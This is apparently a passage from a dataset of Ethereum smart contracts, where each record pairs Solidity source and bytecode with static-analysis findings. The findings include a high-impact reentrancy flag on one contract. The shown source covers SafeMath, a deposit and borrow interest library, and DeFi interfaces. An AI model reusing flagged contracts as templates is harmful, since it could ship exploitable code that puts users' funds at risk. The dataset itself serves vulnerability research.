555061232a81612513565b61233484836125d0565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123919190612fcd565b60405180910390a3505050505050505050565b600080600060085490506000670de0b6b3a764000090506123d8670de0b6b3a7640000600854611d8f90919063ffffffff16565b8210156123f657600854670de0b6b3a76400009350935050506123ff565b81819350935050505b9091565b60008060008060008060008060006124208a600a54600b5461260a565b92509250925060006124306121ae565b905060008060006124438e8787876126a0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cb0565b905092915050565b60008082846124c49190613103565b905083811015612509576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250090612ecd565b60405180910390fd5b8091505092915050565b600061251d6121ae565b905060006125348284611d1490919063ffffffff16565b905061258881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125e58260085461246b90919063ffffffff16565b600881905550612600816009546124b590919063ffffffff16565b6009819055505050565b6000806000806126366064612628888a611d1490919063ffffffff16565b611d8f90919063ffffffff16565b905060006126606064612652888b611d1490919063ffffffff16565b611d8f90919063ffffffff16565b905060006126898261267b858c61246b90919063ffffffff16565b61246b90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126b98589611d1490919063ffffffff16565b905060006126d08689611d1490919063ffffffff16565b905060006126e78789611d1490919063ffffffff16565b9050600061271082612702858761246b90919063ffffffff16565b61246b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061273c61273784613082565b61305d565b9050808382526020820190508285602086028201111561275f5761275e6133ed565b5b60005b8581101561278f57816127758882612799565b845260208401935060208301925050600181019050612762565b5050509392505050565b6000813590506127a881613703565b92915050565b6000815190506127bd81613703565b92915050565b600082601f8301126127d8576127d76133e8565b5b81356127e8848260208601612729565b91505092915050565b6000813590506128008161371a565b92915050565b6000815190506128158161371a565b92915050565b60008135905061282a81613731565b92915050565b60008151905061283f81613731565b92915050565b60006020828403121561285b5761285a6133f7565b5b600061286984828501612799565b91505092915050565b600060208284031215612888576128876133f7565b5b6000612896848285016127ae565b91505092915050565b600080604083850312156128b6576128b56133f7565b5b60006128c485828601612799565b92505060206128d585828601612799565b9150509250929050565b6000806000606084860312156128f8576128f76133f7565b5b600061290686828701612799565b935050602061291786828701612799565b92505060406129288682870161281b565b9150509250925092565b60008060408385031215612949576129486133f7565b5b600061295785828601612799565b92505060206129688582860161281b565b9150509250929050565b600060208284031215612988576129876133f7565b5b600082013567ffffffffffffffff8111156129a6576129a56133f2565b5b6129b2848285016127c3565b91505092915050565b6000602082840312156129d1576129d06133f7565b5b60006129df848285016127f1565b91505092915050565b6000602082840312156129fe576129fd6133f7565b5b6000612a0c84828501612806565b91505092915050565b600060208284031215612a2b57612a2a6133f7565b5b6000612a398482850161281b565b91505092915050565b600080600060608486031215612a5b57612a5a6133f7565b5b6000612a6986828701612830565b9350506020612a7a86828701612830565b9250506040612a8b86828701612830565b9150509250925092565b6000612aa18383612aad565b60208301905092915050565b612ab681613218565b82525050565b612ac581613218565b82525050565b6000612ad6826130be565b612ae081856130e1565b9350612aeb836130ae565b8060005b83811015612b1c578151612b038882612a95565b9750612b0e836130d4565b925050600181019050612aef565b5085935050505092915050565b612b328161322a565b82525050565b612b418161326d565b82525050565b6000612b52826130c9565b612b5c81856130f2565b9350612b6c81856020860161327f565b612b75816133fc565b840191505092915050565b6000612b8d6023836130f2565b9150612b988261340d565b604082019050919050565b6000612bb06019836130f2565b9150612bbb8261345c565b602082019050919050565b6000612bd3602a836130f2565b9150612bde82613485565b604082019050919050565b6000612bf66022836130f2565b9150612c01826134d4565b604082019050919050565b6000612c19601b836130f2565b9150612c2482613523565b602082019050919050565b6000612c3c6021836130f2565b9150612c478261354c565b604082019050919050565b6000612c5f6020836130f2565b9150612c6a8261359b565b602082019050919050565b6000612c826029836130f2565b9150612c8d826135c4565b604082019050919050565b6000612ca56025836130f2565b9150612cb082613613565b604082019050919050565b6000612cc8601a836130f2565b9150612cd382613662565b602082019050919050565b6000612ceb6024836130f2565b9150612cf68261368b565b604082019050919050565b6000612d0e6017836130f2565b9150612d19826136da565b602082019050919050565b612d2d81613256565b82525050565b612d3c81613260565b82525050565b6000602082019050612d576000830184612abc565b92915050565b6000604082019050612d726000830185612abc565b612d7f6020830184612abc565b9392505050565b6000604082019050612d9b6000830185612abc565b612da86020830184612d24565b9392505050565b600060c082019050612dc46000830189612abc565b612dd16020830188612d24565b612dde6040830187612b38565b612deb6060830186612b38565b612df86080830185612abc565b612e0560a0830184612d24565b979650505050505050565b6000602082019050612e256000830184612b29565b92915050565b60006020820190508181036000830152612e458184612b47565b905092915050565b60006020820190508181036000830152612e6681612b80565b9050919050565b60006020820190508181036000830152612e8681612ba3565b9050919050565b60006020820190508181036000830152612ea681612bc6565b9050919050565b60006020820190508181036000830152612ec681612be9565b9050919050565b60006020820190508181036000830152612ee681612c0c565b9050919050565b60006020820190508181036000830152612f0681612c2f565b9050919050565b60006020820190508181036000830152612f2681612c52565b9050919050565b60006020820190508181036000830152612f4681612c75565b9050919050565b60006020820190508181036000830152612f6681612c98565b9050919050565b60006020820190508181036000830152612f8681612cbb565b9050919050565b60006020820190508181036000830152612fa681612cde565b9050919050565b60006020820190508181036000830152612fc681612d01565b9050919050565b6000602082019050612fe26000830184612d24565b92915050565b600060a082019050612ffd6000830188612d24565b61300a6020830187612b38565b818103604083015261301c8186612acb565b905061302b6060830185612abc565b6130386080830184612d24565b9695505050505050565b60006020820190506130576000830184612d33565b92915050565b6000613067613078565b905061307382826132b2565b919050565b6000604051905090565b600067ffffffffffffffff82111561309d5761309c6133b9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061310e82613256565b915061311983613256565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561314e5761314d61332c565b5b828201905092915050565b600061316482613256565b915061316f83613256565b92508261317f5761317e61335b565b5b828204905092915050565b600061319582613256565b91506131a083613256565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131d9576131d861332c565b5b828202905092915050565b60006131ef82613256565b91506131fa83613256565b92508282101561320d5761320c61332c565b5b828203905092915050565b600061322382613236565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061327882613256565b9050919050565b60005b8381101561329d578082015181840152602081019050613282565b838111156132ac576000848401525b50505050565b6132bb826133fc565b810181811067ffffffffffffffff821117156132da576132d96133b9565b5b80604052505050565b60006132ee82613256565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133215761332061332c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61370c81613218565b811461371757600080fd5b50565b6137238161322a565b811461372e57600080fd5b50565b61373a81613256565b811461374557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a3058fde17b7762fda47f7618eadbae78a4035534123a018e243b305a16d324764736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,183 |
0x2646bdFB172671f93C5cd67A75D6dddb18A45bc6
|
/**
*Submitted for verification at Etherscan.io on 2021-12-16
*/
pragma solidity 0.5.14;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// This is for per user
library AccountTokenLib {
using SafeMath for uint256;
struct TokenInfo {
// Deposit info
uint256 depositPrincipal; // total deposit principal of ther user
uint256 depositInterest; // total deposit interest of the user
uint256 lastDepositBlock; // the block number of user's last deposit
// Borrow info
uint256 borrowPrincipal; // total borrow principal of ther user
uint256 borrowInterest; // total borrow interest of ther user
uint256 lastBorrowBlock; // the block number of user's last borrow
}
uint256 constant BASE = 10**18;
// returns the principal
function getDepositPrincipal(TokenInfo storage self) public view returns(uint256) {
return self.depositPrincipal;
}
function getBorrowPrincipal(TokenInfo storage self) public view returns(uint256) {
return self.borrowPrincipal;
}
function getDepositBalance(TokenInfo storage self, uint accruedRate) public view returns(uint256) {
return self.depositPrincipal.add(calculateDepositInterest(self, accruedRate));
}
function getBorrowBalance(TokenInfo storage self, uint accruedRate) public view returns(uint256) {
return self.borrowPrincipal.add(calculateBorrowInterest(self, accruedRate));
}
function getLastDepositBlock(TokenInfo storage self) public view returns(uint256) {
return self.lastDepositBlock;
}
function getLastBorrowBlock(TokenInfo storage self) public view returns(uint256) {
return self.lastBorrowBlock;
}
function getDepositInterest(TokenInfo storage self) public view returns(uint256) {
return self.depositInterest;
}
function getBorrowInterest(TokenInfo storage self) public view returns(uint256) {
return self.borrowInterest;
}
function borrow(TokenInfo storage self, uint256 amount, uint256 accruedRate, uint256 _block) public {
newBorrowCheckpoint(self, accruedRate, _block);
self.borrowPrincipal = self.borrowPrincipal.add(amount);
}
/**
* Update token info for withdraw. The interest will be withdrawn with higher priority.
*/
function withdraw(TokenInfo storage self, uint256 amount, uint256 accruedRate, uint256 _block) public {
newDepositCheckpoint(self, accruedRate, _block);
if (self.depositInterest >= amount) {
self.depositInterest = self.depositInterest.sub(amount);
} else if (self.depositPrincipal.add(self.depositInterest) >= amount) {
self.depositPrincipal = self.depositPrincipal.sub(amount.sub(self.depositInterest));
self.depositInterest = 0;
} else {
self.depositPrincipal = 0;
self.depositInterest = 0;
}
}
/**
* Update token info for deposit
*/
function deposit(TokenInfo storage self, uint256 amount, uint accruedRate, uint256 _block) public {
newDepositCheckpoint(self, accruedRate, _block);
self.depositPrincipal = self.depositPrincipal.add(amount);
}
function repay(TokenInfo storage self, uint256 amount, uint accruedRate, uint256 _block) public {
// updated rate (new index rate), applying the rate from startBlock(checkpoint) to currBlock
newBorrowCheckpoint(self, accruedRate, _block);
// user owes money, then he tries to repays
if (self.borrowInterest > amount) {
self.borrowInterest = self.borrowInterest.sub(amount);
} else if (self.borrowPrincipal.add(self.borrowInterest) > amount) {
self.borrowPrincipal = self.borrowPrincipal.sub(amount.sub(self.borrowInterest));
self.borrowInterest = 0;
} else {
self.borrowPrincipal = 0;
self.borrowInterest = 0;
}
}
function newDepositCheckpoint(TokenInfo storage self, uint accruedRate, uint256 _block) public {
self.depositInterest = calculateDepositInterest(self, accruedRate);
self.lastDepositBlock = _block;
}
function newBorrowCheckpoint(TokenInfo storage self, uint accruedRate, uint256 _block) public {
self.borrowInterest = calculateBorrowInterest(self, accruedRate);
self.lastBorrowBlock = _block;
}
// Calculating interest according to the new rate
// calculated starting from last deposit checkpoint
function calculateDepositInterest(TokenInfo storage self, uint accruedRate) public view returns(uint256) {
return self.depositPrincipal.add(self.depositInterest).mul(accruedRate).sub(self.depositPrincipal.mul(BASE)).div(BASE);
}
function calculateBorrowInterest(TokenInfo storage self, uint accruedRate) public view returns(uint256) {
uint256 _balance = self.borrowPrincipal;
if(accruedRate == 0 || _balance == 0 || BASE >= accruedRate) {
return self.borrowInterest;
} else {
return _balance.add(self.borrowInterest).mul(accruedRate).sub(_balance.mul(BASE)).div(BASE);
}
}
}
|
0x732646bdfb172671f93c5cd67a75d6dddb18a45bc630146080604052600436106101095760003560e01c806350c918ca116100a15780639efdc35c116100705780639efdc35c14610300578063b66b3ce91461033c578063e8f2267314610359578063febc2fe31461037c57610109565b806350c918ca14610254578063691d7fe514610277578063875c4802146102ad5780638ec2cbd0146102ca57610109565b80632c3919ee116100dd5780632c3919ee146101c157806336be106a146101de578063381cec48146101fb5780633bc496a01461023757610109565b8062b0b8a11461010e57806313d973f71461013d5780631496a7971461016057806315d7fef51461019e575b600080fd5b61012b6004803603602081101561012457600080fd5b50356103b8565b60408051918252519081900360200190f35b61012b6004803603604081101561015357600080fd5b50803590602001356103bc565b81801561016c57600080fd5b5061019c6004803603608081101561018357600080fd5b50803590602081013590604081013590606001356103e2565b005b61012b600480360360408110156101b457600080fd5b5080359060200135610407565b61012b600480360360208110156101d757600080fd5b50356104a4565b61012b600480360360208110156101f457600080fd5b50356104ab565b81801561020757600080fd5b5061019c6004803603608081101561021e57600080fd5b50803590602081013590604081013590606001356104b2565b61012b6004803603602081101561024d57600080fd5b503561054c565b61012b6004803603604081101561026a57600080fd5b5080359060200135610553565b81801561028357600080fd5b5061019c6004803603606081101561029a57600080fd5b508035906020810135906040013561059f565b61012b600480360360208110156102c357600080fd5b50356105ba565b8180156102d657600080fd5b5061019c600480360360608110156102ed57600080fd5b50803590602081013590604001356105c1565b81801561030c57600080fd5b5061019c6004803603608081101561032357600080fd5b50803590602081013590604081013590606001356105dc565b61012b6004803603602081101561035257600080fd5b503561060a565b61012b6004803603604081101561036f57600080fd5b5080359060200135610611565b81801561038857600080fd5b5061019c6004803603608081101561039f57600080fd5b5080359060208101359060408101359060600135610631565b5490565b60006103d96103cb8484610553565b84549063ffffffff6106d916565b90505b92915050565b6103ed84838361059f565b83546103ff908463ffffffff6106d916565b909355505050565b600382015460009082158061041a575080155b8061042d575082670de0b6b3a764000010155b1561043e57505060048201546103dc565b61049c670de0b6b3a764000061049061045d848363ffffffff61073316565b610484876104788a60040154886106d990919063ffffffff16565b9063ffffffff61073316565b9063ffffffff61078c16565b9063ffffffff6107ce16565b9150506103dc565b6001015490565b6004015490565b6104bd84838361059f565b828460010154106104e75760018401546104dd908463ffffffff61078c16565b6001850155610546565b600184015484548491610500919063ffffffff6106d916565b1061053b5761052d61051f85600101548561078c90919063ffffffff16565b85549063ffffffff61078c16565b845560006001850155610546565b600080855560018501555b50505050565b6005015490565b60006103d9670de0b6b3a7640000610490610583670de0b6b3a7640000876000015461073390919063ffffffff16565b600187015487546104849188916104789163ffffffff6106d916565b6105a98383610553565b600184015560029092019190915550565b6003015490565b6105cb8383610407565b600484015560059092019190915550565b6105e78483836105c1565b60038401546105fc908463ffffffff6106d916565b846003018190555050505050565b6002015490565b60006103d96106208484610407565b60038501549063ffffffff6106d916565b61063c8483836105c1565b828460040154111561066757600484015461065d908463ffffffff61078c16565b6004850155610546565b82610683856004015486600301546106d990919063ffffffff16565b11156106c5576106b46106a385600401548561078c90919063ffffffff16565b60038601549063ffffffff61078c16565b600385015560006004850155610546565b600060038501819055600485015550505050565b6000828201838110156103d9576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082610742575060006103dc565b8282028284828161074f57fe5b04146103d95760405162461bcd60e51b815260040180806020018281038252602181526020018061090d6021913960400191505060405180910390fd5b60006103d983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610810565b60006103d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506108a7565b6000818484111561089f5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561086457818101518382015260200161084c565b50505050905090810190601f1680156108915780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836108f65760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561086457818101518382015260200161084c565b50600083858161090257fe5b049594505050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a72315820396370d0f69a0f3c057f3ab611977c9b20c5780117485437fba27dc41fcf2c0264736f6c634300050e0032
|
{"success": true, "error": null, "results": {}}
| 5,184 |
0x575E0188cFC64d13107d00150dF5e495DFEDa664
|
pragma solidity ^0.6.12;
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IBPool {
function isPublicSwap() external view returns (bool);
function isFinalized() external view returns (bool);
function isBound(address t) external view returns (bool);
function getNumTokens() external view returns (uint);
function getCurrentTokens() external view returns (address[] memory tokens);
function getFinalTokens() external view returns (address[] memory tokens);
function getDenormalizedWeight(address token) external view returns (uint);
function getTotalDenormalizedWeight() external view returns (uint);
function getNormalizedWeight(address token) external view returns (uint);
function getBalance(address token) external view returns (uint);
function getSwapFee() external view returns (uint);
function getController() external view returns (address);
function setSwapFee(uint swapFee) external;
function setController(address manager) external;
function setPublicSwap(bool public_) external;
function finalize() external;
function bind(address token, uint balance, uint denorm) external;
function rebind(address token, uint balance, uint denorm) external;
function unbind(address token) external;
function gulp(address token) external;
function getSpotPrice(address tokenIn, address tokenOut) external view returns (uint spotPrice);
function getSpotPriceSansFee(address tokenIn, address tokenOut) external view returns (uint spotPrice);
function joinPool(uint poolAmountOut, uint[] calldata maxAmountsIn) external;
function exitPool(uint poolAmountIn, uint[] calldata minAmountsOut) external;
function swapExactAmountIn(
address tokenIn,
uint tokenAmountIn,
address tokenOut,
uint minAmountOut,
uint maxPrice
) external returns (uint tokenAmountOut, uint spotPriceAfter);
function swapExactAmountOut(
address tokenIn,
uint maxAmountIn,
address tokenOut,
uint tokenAmountOut,
uint maxPrice
) external returns (uint tokenAmountIn, uint spotPriceAfter);
function joinswapExternAmountIn(
address tokenIn,
uint tokenAmountIn,
uint minPoolAmountOut
) external returns (uint poolAmountOut);
function joinswapPoolAmountOut(
address tokenIn,
uint poolAmountOut,
uint maxAmountIn
) external returns (uint tokenAmountIn);
function exitswapPoolAmountIn(
address tokenOut,
uint poolAmountIn,
uint minAmountOut
) external returns (uint tokenAmountOut);
function exitswapExternAmountOut(
address tokenOut,
uint tokenAmountOut,
uint maxPoolAmountIn
) external returns (uint poolAmountIn);
function totalSupply() external view returns (uint);
function balanceOf(address whom) external view returns (uint);
function allowance(address src, address dst) external view returns (uint);
function approve(address dst, uint amt) external returns (bool);
function transfer(address dst, uint amt) external returns (bool);
function transferFrom(
address src, address dst, uint amt
) external returns (bool);
function calcSpotPrice(
uint tokenBalanceIn,
uint tokenWeightIn,
uint tokenBalanceOut,
uint tokenWeightOut,
uint swapFee
) external pure returns (uint spotPrice);
function calcOutGivenIn(
uint tokenBalanceIn,
uint tokenWeightIn,
uint tokenBalanceOut,
uint tokenWeightOut,
uint tokenAmountIn,
uint swapFee
) external pure returns (uint tokenAmountOut);
function calcInGivenOut(
uint tokenBalanceIn,
uint tokenWeightIn,
uint tokenBalanceOut,
uint tokenWeightOut,
uint tokenAmountOut,
uint swapFee
) external pure returns (uint tokenAmountIn);
function calcPoolOutGivenSingleIn(
uint tokenBalanceIn,
uint tokenWeightIn,
uint poolSupply,
uint totalWeight,
uint tokenAmountIn,
uint swapFee
) external pure returns (uint poolAmountOut);
function calcSingleInGivenPoolOut(
uint tokenBalanceIn,
uint tokenWeightIn,
uint poolSupply,
uint totalWeight,
uint poolAmountOut,
uint swapFee
) external pure returns (uint tokenAmountIn);
function calcSingleOutGivenPoolIn(
uint tokenBalanceOut,
uint tokenWeightOut,
uint poolSupply,
uint totalWeight,
uint poolAmountIn,
uint swapFee
) external pure returns (uint tokenAmountOut);
function calcPoolInGivenSingleOut(
uint tokenBalanceOut,
uint tokenWeightOut,
uint poolSupply,
uint totalWeight,
uint tokenAmountOut,
uint swapFee
) external pure returns (uint poolAmountIn);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
